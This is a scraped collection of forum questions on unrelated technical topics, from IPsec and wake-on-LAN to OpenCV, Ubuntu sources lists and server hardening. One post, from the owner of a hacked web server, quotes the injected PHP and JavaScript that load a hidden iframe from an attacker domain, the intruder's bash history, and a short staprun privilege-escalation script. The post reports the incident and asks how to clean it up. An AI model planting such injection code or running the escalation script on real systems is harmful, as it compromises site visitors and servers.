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  • OpenSwan IPSec phase #2 complications

    - by XXL
    Phase #1 (IKE) succeeds without any problems (verified at the target host). Phase #2 (IPSec), however, is erroneous at some point (apparently due to misconfiguration on localhost). This should be an IPSec-only connection. I am using OpenSwan on Debian. The error log reads the following (the actual IP-addr. of the remote endpoint has been modified): pluto[30868]: "x" #2: initiating Quick Mode PSK+ENCRYPT+PFS+UP+IKEv2ALLOW+SAREFTRACK {using isakmp#1 msgid:5ece82ee proposal=AES(12)_256-SHA1(2)_160 pfsgroup=OAKLEY_GROUP_DH22} pluto[30868]: "x" #1: ignoring informational payload, type NO_PROPOSAL_CHOSEN msgid=00000000 pluto[30868]: "x" #1: received and ignored informational message pluto[30868]: "x" #1: the peer proposed: 0.0.0.0/0:0/0 - 0.0.0.0/0:0/0 pluto[30868]: "x" #3: responding to Quick Mode proposal {msgid:a4f5a81c} pluto[30868]: "x" #3: us: 192.168.1.76<192.168.1.76[+S=C] pluto[30868]: "x" #3: them: 222.222.222.222<222.222.222.222[+S=C]===10.196.0.0/17 pluto[30868]: "x" #3: transition from state STATE_QUICK_R0 to state STATE_QUICK_R1 pluto[30868]: "x" #3: STATE_QUICK_R1: sent QR1, inbound IPsec SA installed, expecting QI2 pluto[30868]: "x" #1: ignoring informational payload, type NO_PROPOSAL_CHOSEN msgid=00000000 pluto[30868]: "x" #1: received and ignored informational message pluto[30868]: "x" #3: next payload type of ISAKMP Hash Payload has an unknown value: 97 X pluto[30868]: "x" #3: malformed payload in packet pluto[30868]: | payload malformed after IV I am behind NAT and this is all coming from wlan2. Here are the details: default via 192.168.1.254 dev wlan2 proto static 169.254.0.0/16 dev wlan2 scope link metric 1000 192.168.1.0/24 dev wlan2 proto kernel scope link src 192.168.1.76 metric 2 Output of ipsec verify: Checking your system to see if IPsec got installed and started correctly: Version check and ipsec on-path [OK] Linux Openswan U2.6.37/K3.2.0-24-generic (netkey) Checking for IPsec support in kernel [OK] SAref kernel support [N/A] NETKEY: Testing XFRM related proc values [OK] [OK] [OK] Checking that pluto is running [OK] Pluto listening for IKE on udp 500 [OK] Pluto listening for NAT-T on udp 4500 [OK] Two or more interfaces found, checking IP forwarding [OK] Checking NAT and MASQUERADEing [OK] Checking for 'ip' command [OK] Checking /bin/sh is not /bin/dash [WARNING] Checking for 'iptables' command [OK] Opportunistic Encryption Support [DISABLED] This is what happens when I run ipsec auto --up x: 104 "x" #1: STATE_MAIN_I1: initiate 003 "x" #1: received Vendor ID payload [RFC 3947] method set to=109 106 "x" #1: STATE_MAIN_I2: sent MI2, expecting MR2 003 "x" #1: received Vendor ID payload [Cisco-Unity] 003 "x" #1: received Vendor ID payload [Dead Peer Detection] 003 "x" #1: ignoring unknown Vendor ID payload [502099ff84bd4373039074cf56649aad] 003 "x" #1: received Vendor ID payload [XAUTH] 003 "x" #1: NAT-Traversal: Result using RFC 3947 (NAT-Traversal): i am NATed 108 "x" #1: STATE_MAIN_I3: sent MI3, expecting MR3 004 "x" #1: STATE_MAIN_I4: ISAKMP SA established {auth=OAKLEY_PRESHARED_KEY cipher=aes_128 prf=oakley_sha group=modp1024} 117 "x" #2: STATE_QUICK_I1: initiate 010 "x" #2: STATE_QUICK_I1: retransmission; will wait 20s for response 010 "x" #2: STATE_QUICK_I1: retransmission; will wait 40s for response 031 "x" #2: max number of retransmissions (2) reached STATE_QUICK_I1. No acceptable response to our first Quick Mode message: perhaps peer likes no proposal 000 "x" #2: starting keying attempt 2 of at most 3, but releasing whack I have enabled NAT traversal in ipsec.conf accordingly. Here are the settings relative to the connection in question: version 2.0 config setup plutoopts="--perpeerlog" plutoopts="--interface=wlan2" dumpdir=/var/run/pluto/ nat_traversal=yes virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12 oe=off protostack=netkey conn x authby=secret pfs=yes auto=add phase2alg=aes256-sha1;dh22 keyingtries=3 ikelifetime=8h type=transport left=192.168.1.76 leftsubnet=192.168.1.0/24 leftprotoport=0/0 right=222.222.222.222 rightsubnet=10.196.0.0/17 rightprotoport=0/0 Here are the specs provided by the other end that must be met for Phase #2: encryption algorithm: AES (128 or 256 bit) hash algorithm: SHA local ident1 (addr/mask/prot/port): (10.196.0.0/255.255.128.0/0/0) local ident2 (addr/mask/prot/port): (10.241.0.0/255.255.0.0/0/0) remote ident (addr/mask/prot/port): (x.x.x.x/x.x.x.x/0/0) (internal network or localhost) Security association lifetime: 4608000 kilobytes/3600 seconds PFS: DH group2 So, finally, what might be the cause of the issue that I am experiencing? Thank you.

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  • Mass targeted malware installed - g00glestatic.com [closed]

    - by Silver89
    Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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  • How to use multiple SkyDrive accounts on one computer?

    - by user1563721
    Is there any way how to use multiple SkyDrive accounts on one computer running MAC OS X or Windows 8? I would like to sync data from different accounts to different folder and not to merge these accounts to one. The reason is that every SkyDrive has it's storage limits and I'm using every account for different work data. The result should be the following: I have a number of SkyDrive accounts every for different work, let's say: S1 S2 S3 I would like to sync exactly the same number of folders on computer using different accounts to sync them: SkyDriveS1Folder - (folder on computer which syncing the content of S1 SkyDrive) SkyDriveS2Folder - (folder on computer which syncing the content of S2 SkyDrive) SkyDriveS3Folder - (folder on computer which syncing the content of S3 SkyDrive) Is it possible somehow? I found a workaround for Windows machines (http://superuser.com/questions/525932/running-multiple-instances-of-microsoft-skydrive) but is there anything for MAC OS X machines? Or is it possible through any third party application?

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  • Win7 Prof. Computer won't wake on lan via Magic Packet from outside network

    - by Michael
    Hi all. I just purchased a new computer running Windows 7 Professional x64. I'd like to save power by having it sleep after an hour, but I would also like to be able to Remote Desktop into it at my leisure. I set up a static IP and have port forwarding set up on the router. If the computer is awake, the RDP connection works just fine. I downloaded and installed Wake-On-Lan thanks to this article If I put my new computer to sleep and send the magic packet from my old computer inside of my home network it wakes up. If I do the same thing, however, from my work computer outside the network it does not. I figured the Firewall was blocking the incoming traffic, but nothing in the Windows Firewall logs points to this happening. I'm wondering if anyone has any suggestions or any tests I can run through in order to narrow down what the problem might be. Thanks in advance for any help you might be able to offer.

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  • Transfer hard-drive with windows XP to another computer. On booting, asks to activate xp

    - by Jesse
    I had an old computer sitting around that I have not been able to boot successfully. I moved the hard drive and placed it in my newer computer. If I boot linux, I can mount the XP hard-drive and access the files. If I try to boot from the XP hard-drive, it will boot, but it asks me to activate windows before proceeding. If I continue, I get the "activation window" with two images/icons(?) which are failing to load. Nothing else happens. The version of windows came with the original computer the hard-drive came from, so I'm not sure if I'm married to the broken computer (I hope not!). Is there anything I can do in order to boot into XP from the new computer?

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  • Why am I unable to access the network shares on my own computer?

    - by DoomStone
    I am having some problems with media center computer, with Windows 7 on it. The computers IP address is 192.168.1.13, and another computer can without any problem navigate to \\192.168.1.13, but the computer itself can not. Neither \\servername nor \\localhost. If I reboot the computer a couple of times, it will work again, but this is a big problem as my computer cleans my media center library on boot and there, if it can not access \\192.168.1.13, it will think that all the files have been removed and therefore delete them from the database. I really have no idea on where to start with this problem, but if anyone has tried this before and fixed it, I would be very happy, as it would save me from having to reinstall the whole system.

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  • Automatically make user local administrator on their computer through GPO?

    - by Grant
    In our AD 2003 domain each user gets local admin permissions on their computer. Everyone else can login with their domain account as normal user. Right now this means going to the desktop and manually adding the user as a local administrator. Is there any way to automate this process through logon scripts or GPOs? I have found ways to use a gpo to make everyone who logs in to a computer a local admin, but really only want to give it to the primary user (or in some cases users) of the computer. I've also seen methods that required adding a group for each computer...but really dont want to clutter AD like that. I do have a list mapping each user to each computer name. If it matters the desktops are a mix of xp and win7.

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  • Converting EBNF to BNF

    - by Vivin Paliath
    It's been a few years since my computer-language class and so I've forgotten the finer points of BNF's and EBNF's and I don't have a textbook next to me. Specifically, I've forgotten how to convert an EBNF into BNF. From what little I remember, I know that one of the main points is to convert { term } into <term> | <many-terms>. But I don't remember the other rules. I've tried to look this up online but I can only find links to either homework questions, or a small comment about converting terms with curly braces. I can't find an exhaustive list of rules that define the translation.

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  • Port scientific software to GPU and publish it

    - by Werner
    Hi, let's say that I am a physicist and that I am the master of the universe when it comes to port salready existing oftware to GPU's with 100x or more speedups. Let's say that I find that some other scientist, which does not know how to program GPU, publishes the Open Source code in his/her website of a physical simulation program, in the field I am expert on. Let's say that I realize "I can port that code to GPU", and I suggest him, but he shows no interest. My interest here is, 1) to port it to GPU, 2) to publish this result in a scientific journal related with physics and/or computer science My question for you is 1- would you proceed here to port the code to GPU (or other new arch) and publish it? 2- how would you do it and which journal do you suggest? Thanks

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  • OpenCV - DLL missing, but it's not?

    - by charles-22
    I am trying just a basic program with OpenCV with the following code: #include "cv.h" #include "highgui.h" int main() { IplImage* newImg; newImg = cvLoadImage("~/apple.bmp", 1); cvNamedWindow("Window", 1); cvShowImage("Window", newImg); cvWaitKey(0); cvDestroyWindow("Window"); cvReleaseImage(&newImg); return 0; } When I run this, I get The program can't start because libcxcore200.dll is missing from your computer. Try reinstalling the program to fix this problem. However, I can see this DLL. It exists. I have added the following to the input dependencies for my linker C:\OpenCV2.0\lib\libcv200.dll.a C:\OpenCV2.0\lib\libcvaux200.dll.a C:\OpenCV2.0\lib\libcxcore200.dll.a C:\OpenCV2.0\lib\libhighgui200.dll.a What gives? I'm using visual studio 2008.

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  • What are the CS fundamentals behind package/dependency management?

    - by Frep D-Oronge
    Often I hear about situations where companies are developing extensable in house software (the dreaded enterprise 'framework') which is supposed to support multiple 'plugins' from diffirent teams. Usually this ends up being a half baked solution that does not really work due to compatibility prolems between addins, or between addins and the framework itself. Usually this means QA have to 'rubber stamp' a global set of versions accross all plugins, or more usually plugins are released and stuff breaks in nasty ways. This problem has been solved before however, for example the package management systems like apt for debian linux. I suspect that the reason it works is that it is built from the start on a known 'Computer Science-y' concept. My question is what is it?

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  • Static Evaluation Function for Checkers

    - by Kamikaze
    Hi all! I'm trying to write an evaluation function for a game of checkers that I'm developing but I can't find the right documentation. I've read several documents on the web witch describe different techniques for either writing one or letting the computer find it(using genetic algorithms or Bayesian learning) but they're too complicated for a novice like me. All documents pointed a reference to "Some studies in machine learning using the game of checkers" by A.L.Samuel but I couldn't get my hands on it yet :(. I've only read the follow up "Some studies in machine learning using the game of checkers -II" and found some good info there, but it doesn't explain what the eval parameters mean (I think I don't have the whole article). Thanks for your help!

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  • Framework/tool for processing C++ unit tests with numerical output

    - by David Claridge
    Hi, I am working on a C++ application that uses computer vision techniques to identify various types of objects in a sequence of images. The (1000+) images have been hand-classified, so we have an XML file for each image containing a description of where the objects are actually located in the images. I would like to know if there is a testing framework that can understand/graph results from tests that are numeric, in this case some measure of the error in the program's classification of the images, rather than just pass/fail style unit tests. We would like to use something like CDash/CTest for running these automated tests, and viewing over time how improvements to the vision algorithms are causing the images to be more correctly classified. Does anyone know of a tool/framework that can do this?

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  • Write the longest possible loop.

    - by Abhay
    Hello Group, Recently I was asked this question in a technical discussion. What is the longest possible loop that can be written in a programming language? This loop has to be as long as possible and yet not an infinite loop and should not end-up crashing the program (Recursion etc...) I honestly did not know how to attack this problem, so I asked him if is it practically possible. He said using some computer science concepts, you can arrive at a hypothetical number which may not be practical but nevertheless it will still not be infinite. Anyone here; knows how to analyse / attack this problem. P.S. Choosing some highest limit for a type that can store the highest numerical value is apparently not an answer. Thanks in advance,

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  • What is this Hash-like/Tree-like Construct Called?

    - by viatropos
    I want to create a "Config" class that acts somewhere between a hash and a tree. It's just for storing global values, which can have a context. Here's how I use it: Config.get("root.parent.child_b") #=> "value" Here's what the class might look like: class Construct def get(path) # split path by "." # search tree for nodes end def set(key, value) # split path by "." # create tree node if necessary # set tree value end def tree { :root => { :parent => { :child_a => "value", :child_b => "another value" }, :another_parent => { :something => { :nesting => "goes on and on" } } } } end end Is there a name for this kind of thing, somewhere between Hash and Tree (not a Computer Science major)? Basically a hash-like interface to a tree.

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  • CS Education, where was it? Where is it now? Where is it going?

    - by CheesePls
    I'm planning on doing research into Computer Science education for my senior project and I could think of no better group of people to consult than the SO community. So, what do you think about the state of CS education in the United States (and the rest of the world, though I had planned on focusing on the US)? What do you feel are necessary topics? What topics are superfluous? Objects first vs. Objects early vs. Objects later? ALSO, if anyone has or knows of any blogs, studies, etc., those would be very helpful as well.

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  • Detecting video playing in browser from a screenshot -- OpenCV

    - by Jon
    I would like to draw a rectangle around a video playing on my screen. For example, I am watching a YouTube video in my browser. I would like to be able to take a screenshot, analyze that screenshot, and then draw a rectangle around where the YouTube video is playing. I have just started looking into how I might be able to to this. I came across OpenCV. I understand that OpenCV covers many computer vision techniques. Would any of them be particularly well suited for this task? Also, is this something that can be done in real time? Finally, is there a technique that would work for both in browser and full screen? Thanks!

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  • Why do we need normalized coordinate system? Options

    - by jcyang
    Hi, I have problem understand following sentences in my textbook Computer Graphics with OpenGL. "To make viewing process independent of the requirements of any output device,graphic system convert object descriptions to normalized coordinates and apply the clipping routines." Why normalized coordinates could make viewing process independent of the requirements of any output devices? Isn't the projection coordinates already independent of output device?We only need to first scale and then translate the projection coordinate then we will get device coordinate. So why do we need first convert the projection coordinate to normalized coordinate first? "Clipping is usually performed in normlized coordinates.This allows us to reduce computations by first concatenating the various transformation matrices" Why clipping is usually performed in normlized coordinates? What kind of transformation concatenated? thanks. jcyang.

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  • How Hacker Can Access VPS CentOS 6 content?

    - by user2118559
    Just want to understand. Please, correct mistakes and write advices Hacker can access to VPS: 1. Through (using) console terminal, for example, using PuTTY. To access, hacker need to know port number, username and password. Port number hacker can know scanning open ports and try to login. The only way to login as I understand need to know username and password. To block (make more difficult) port scanning, need to use iptables configure /etc/sysconfig/iptables. I followed this https://www.digitalocean.com/community/articles/how-to-setup-a-basic-ip-tables-configuration-on-centos-6 tutorial and got *nat :PREROUTING ACCEPT [87:4524] :POSTROUTING ACCEPT [77:4713] :OUTPUT ACCEPT [77:4713] COMMIT *mangle :PREROUTING ACCEPT [2358:200388] :INPUT ACCEPT [2358:200388] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [2638:477779] :POSTROUTING ACCEPT [2638:477779] COMMIT *filter :INPUT DROP [1:40] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [339:56132] -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROP -A INPUT -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -m state --state NEW -j DROP -A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG FIN,SYN,RST,PSH,ACK,URG -j DROP -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -p tcp -m tcp --dport 110 -j ACCEPT -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -s 11.111.11.111/32 -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -p tcp -m tcp --dport 21 -j ACCEPT -A INPUT -s 11.111.11.111/32 -p tcp -m tcp --dport 21 -j ACCEPT COMMIT Regarding ports that need to be opened. If does not use ssl, then seems must leave open port 80 for website. Then for ssh (default 22) and for ftp (default 21). And set ip address, from which can connect. So if hacker uses other ip address, he can not access even knowing username and password? Regarding emails not sure. If I send email, using Gmail (Send mail as: (Use Gmail to send from your other email addresses)), then port 25 not necessary. For incoming emails at dynadot.com I use Email Forwarding. Does it mean that emails “does not arrive to VPS” (before arriving to VPS, emails are forwarded, for example to Gmail)? If emails does not arrive to VPS, then seems port 110 also not necessary. If use only ssl, must open port 443 and close port 80. Do not understand regarding port 3306 In PuTTY with /bin/netstat -lnp see Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 992/mysqld As understand it is for mysql. But does not remember that I have opened such port (may be when installed mysql, the port is opened automatically?). Mysql is installed on the same server, where all other content. Need to understand regarding port 3306 2. Also hacker may be able access console terminal through VPS hosting provider Control Panel (serial console emergency access). As understand only using console terminal (PuTTY, etc.) can make “global” changes (changes that can not modify with ftp). 3. Hacker can access to my VPS exploiting some hole in my php code and uploading, for example, Trojan. Unfortunately, faced situation that VPS was hacked. As understand it was because I used ZPanel. On VPS ( \etc\zpanel\panel\bin) ) found one php file, that was identified as Trojan by some virus scanners (at virustotal.com). Experimented with the file on local computer (wamp). And appears that hacker can see all content of VPS, rename, delete, upload etc. From my opinion, if in PuTTY use command like chattr +i /etc/php.ini then hacker could not be able to modify php.ini. Is there any other way to get into VPS?

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  • remove duplicate source entry [closed]

    - by yosa
    Possible Duplicate: Duplicate sources.list entry but cannot find the duplicates? This is my source.list and seems fine to me # deb cdrom:[Ubuntu 12.04 LTS _Precise Pangolin_ - Release amd64 (20120425)]/ precise main restricted # deb cdrom:[Ubuntu 12.04 LTS _Precise Pangolin_ - Release amd64 (20120425)]/ dists/precise/restricted/binary-i386/ # deb cdrom:[Ubuntu 12.04 LTS _Precise Pangolin_ - Release amd64 (20120425)]/ dists/precise/main/binary-i386/ # deb cdrom:[Ubuntu 11.10]/ natty main restricted # deb cdrom:[Ubuntu 11.04 _Natty Narwhal_ - Release i386 (20110427.1)]/ natty main restricted # deb cdrom:[Ubuntu 11.10 _Oneiric Ocelot_ - Release amd64 (20111012)]/ dists/oneiric/main/binary-i386/ # deb cdrom:[Ubuntu 11.10 _Oneiric Ocelot_ - Release amd64 (20111012)]/ oneiric main restricted # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to # newer versions of the distribution. deb http://archive.ubuntu.com/ubuntu precise main restricted ## Major bug fix updates produced after the final release of the ## distribution. ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team. Also, please note that software in universe WILL NOT receive any ## review or updates from the Ubuntu security team. deb http://archive.ubuntu.com/ubuntu precise universe ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## multiverse WILL NOT receive any review or updates from the Ubuntu ## security team. deb http://archive.ubuntu.com/ubuntu precise multiverse ## Uncomment the following two lines to add software from the 'backports' ## repository. ## N.B. software from this repository may not have been tested as ## extensively as that contained in the main release, although it includes ## newer versions of some applications which may provide useful features. ## Also, please note that software in backports WILL NOT receive any review ## or updates from the Ubuntu security team. # deb-src http://ma.archive.ubuntu.com/ubuntu/ natty-backports main restricted universe multiverse ## Uncomment the following two lines to add software from Canonical's ## 'partner' repository. ## This software is not part of Ubuntu, but is offered by Canonical and the ## respective vendors as a service to Ubuntu users. deb http://archive.canonical.com/ubuntu precise partner # deb-src http://archive.canonical.com/ubuntu natty partner ## This software is not part of Ubuntu, but is offered by third-party ## developers who want to ship their latest software. deb http://extras.ubuntu.com/ubuntu precise main deb http://archive.ubuntu.com/ubuntu precise-updates restricted main multiverse universe deb http://security.ubuntu.com/ubuntu/ precise-security restricted main multiverse universe deb http://archive.ubuntu.com/ubuntu precise main universe deb-src http://extras.ubuntu.com/ubuntu precise main # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to # newer versions of the distribution. deb-src http://archive.ubuntu.com/ubuntu precise main restricted ## Major bug fix updates produced after the final release of the ## distribution. deb http://archive.ubuntu.com/ubuntu precise-updates restricted deb-src http://archive.ubuntu.com/ubuntu precise-updates main restricted ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team. Also, please note that software in universe WILL NOT receive any ## review or updates from the Ubuntu security team. deb-src http://archive.ubuntu.com/ubuntu precise universe deb-src http://archive.ubuntu.com/ubuntu precise-updates universe ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## multiverse WILL NOT receive any review or updates from the Ubuntu ## security team. deb-src http://archive.ubuntu.com/ubuntu precise multiverse deb-src http://archive.ubuntu.com/ubuntu precise-updates multiverse ## N.B. software from this repository may not have been tested as ## extensively as that contained in the main release, although it includes ## newer versions of some applications which may provide useful features. ## Also, please note that software in backports WILL NOT receive any review ## or updates from the Ubuntu security team. deb http://archive.ubuntu.com/ubuntu precise-backports main restricted universe multiverse deb-src http://archive.ubuntu.com/ubuntu precise-backports main restricted universe multiverse deb http://archive.ubuntu.com/ubuntu precise-security main restricted deb-src http://archive.ubuntu.com/ubuntu precise-security main restricted deb http://archive.ubuntu.com/ubuntu precise-security universe deb-src http://archive.ubuntu.com/ubuntu precise-security universe deb http://archive.ubuntu.com/ubuntu precise-security multiverse deb-src http://archive.ubuntu.com/ubuntu precise-security multiverse ## Uncomment the following two lines to add software from Canonical's ## 'partner' repository. ## This software is not part of Ubuntu, but is offered by Canonical and the ## respective vendors as a service to Ubuntu users. # deb http://archive.canonical.com/ubuntu oneiric partner # deb-src http://archive.canonical.com/ubuntu oneiric partner ## This software is not part of Ubuntu, but is offered by third-party ## developers who want to ship their latest software. # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to # newer versions of the distribution. ## Major bug fix updates produced after the final release of the ## distribution. ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team. Also, please note that software in universe WILL NOT receive any ## review or updates from the Ubuntu security team. ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## multiverse WILL NOT receive any review or updates from the Ubuntu ## security team. ## N.B. software from this repository may not have been tested as ## extensively as that contained in the main release, although it includes ## newer versions of some applications which may provide useful features. ## Also, please note that software in backports WILL NOT receive any review ## or updates from the Ubuntu security team. ## Uncomment the following two lines to add software from Canonical's ## 'partner' repository. ## This software is not part of Ubuntu, but is offered by Canonical and the ## respective vendors as a service to Ubuntu users. # deb http://archive.canonical.com/ubuntu precise partner # deb-src http://archive.canonical.com/ubuntu precise partner ## This software is not part of Ubuntu, but is offered by third-party ## developers who want to ship their latest software. # deb http://packages.dotdeb.org stable all # deb-src http://packages.dotdeb.org stable all # deb http://ppa.launchpad.net/bean123ch/burg/ubuntu lucid main # deb-src http://ppa.launchpad.net/bean123ch/burg/ubuntu lucid main this is the error given by apt-get update which stops at 64% reading W: Duplicate sources.list entry http://archive.ubuntu.com/ubuntu/ precise/main amd64 Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_precise_main_binary-amd64_Packages) W: Duplicate sources.list entry http://archive.ubuntu.com/ubuntu/ precise/universe amd64 Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_precise_universe_binary-amd64_Packages) W: Duplicate sources.list entry http://archive.ubuntu.com/ubuntu/ precise/main i386 Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_precise_main_binary-i386_Packages) W: Duplicate sources.list entry http://archive.ubuntu.com/ubuntu/ precise/universe i386 Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_precise_universe_binary-i386_Packages) W: Duplicate sources.list entry http://archive.ubuntu.com/ubuntu/ precise-updates/restricted amd64 Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_precise-updates_restricted_binary-amd64_Packages) W: Duplicate sources.list entry http://archive.ubuntu.com/ubuntu/ precise-updates/restricted i386 Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_precise-updates_restricted_binary-i386_Packages)

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  • Step Away From That Computer! You’re Not Qualified to Use It!

    - by Michael Sorens
    Most things tend to come with warnings and careful instructions these days, but sadly not one of the most ubiquitous appliances of all, your computer. If a chainsaw is missing its instructions, you’re well advised not to use it, even though you probably know roughly how it’s supposed to work. I confess, there are days when I feel the same way about computers. Long ago, during the renaissance of the computer age, it was possible to know everything about computers. But today, it is challenging to be fully knowledgeable even in one small area, and most people aren’t as savvy as they like to think. And, if I may borrow from Edwin Abbott Abbott’s classic Flatland, that includes me. And you. Need an example of what I mean? Take a look at almost any recent month’s batch of Windows updates. Just two quick questions for you: Do you need all of those updates? Is it safe to install all of those updates? I do software design and development for a living on Windows and the .NET platform, but I will be quite candid: I often have little clue what the heck some of those updates are going to do or why they are needed. So, if you do not know why they are needed or what they do, how do you know if they are safe? Of course, one can sidestep both questions by accepting Microsoft’s recommended Windows Update setting of “install updates automatically”. That leads you to infer that you need all of them (which is not always the case) and, more significantly, that they are safe. Quite safe. Ah, lest reality intrude upon such a pretty picture! Sadly, there is no such thing as risk-free software installation, and payloads from Windows Update are no exception. Earlier this year, a Windows Secrets Patch Watch article touted this headline: Keep this troublesome kernel update on hold. It discusses KB 2862330, a security update originally published more than 4 months earlier, and yet the article still recommends not installing it! Most people simply do not have the time, resources, or interest, to go about figuring out which updates to install or postpone or skip for safety reasons. Windows Secrets Patch Watch is the best service I have encountered for getting advice, but it is still no panacea and using the service effectively requires a degree of computer literacy that I still think is beyond a good number of people. Which brings us full circle: Step Away From That Computer! You’re Not Qualified to Use It!

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  • Specialized course in Web programming or Generalized course in Computer Science?

    - by Sugan
    I am planning to do my masters in Computer Science in UK. I am interested in Web programming. What should I opt for. A general course in Computer Science or in some specialized course in Web Programming. If web programming, are there a lot of colleges offering these courses. Are there a lot of job offers there in UK. I am not sure whether I can ask this question here. If not point me where I can ask this question.

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  • Is the book "Structure and Interpretation of Computer Programs" a good read for java programmers?

    - by anything
    This may be subjective and likely to be closed but I still wanted to know if its really helpfull to read Structure and Interpretation of Computer programs. Structure and Interpretation of Computer Programs The book does not use java. Not that I wanted to learn java. I am just curious as to know if it be will useful read to be a better programmer and what are the things that I can gain from the book or are their any other alternatives to this book more suited to java programmers?

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  • Will deleting files on my computer delete them them in Ubuntu one?

    - by Shelley Demers
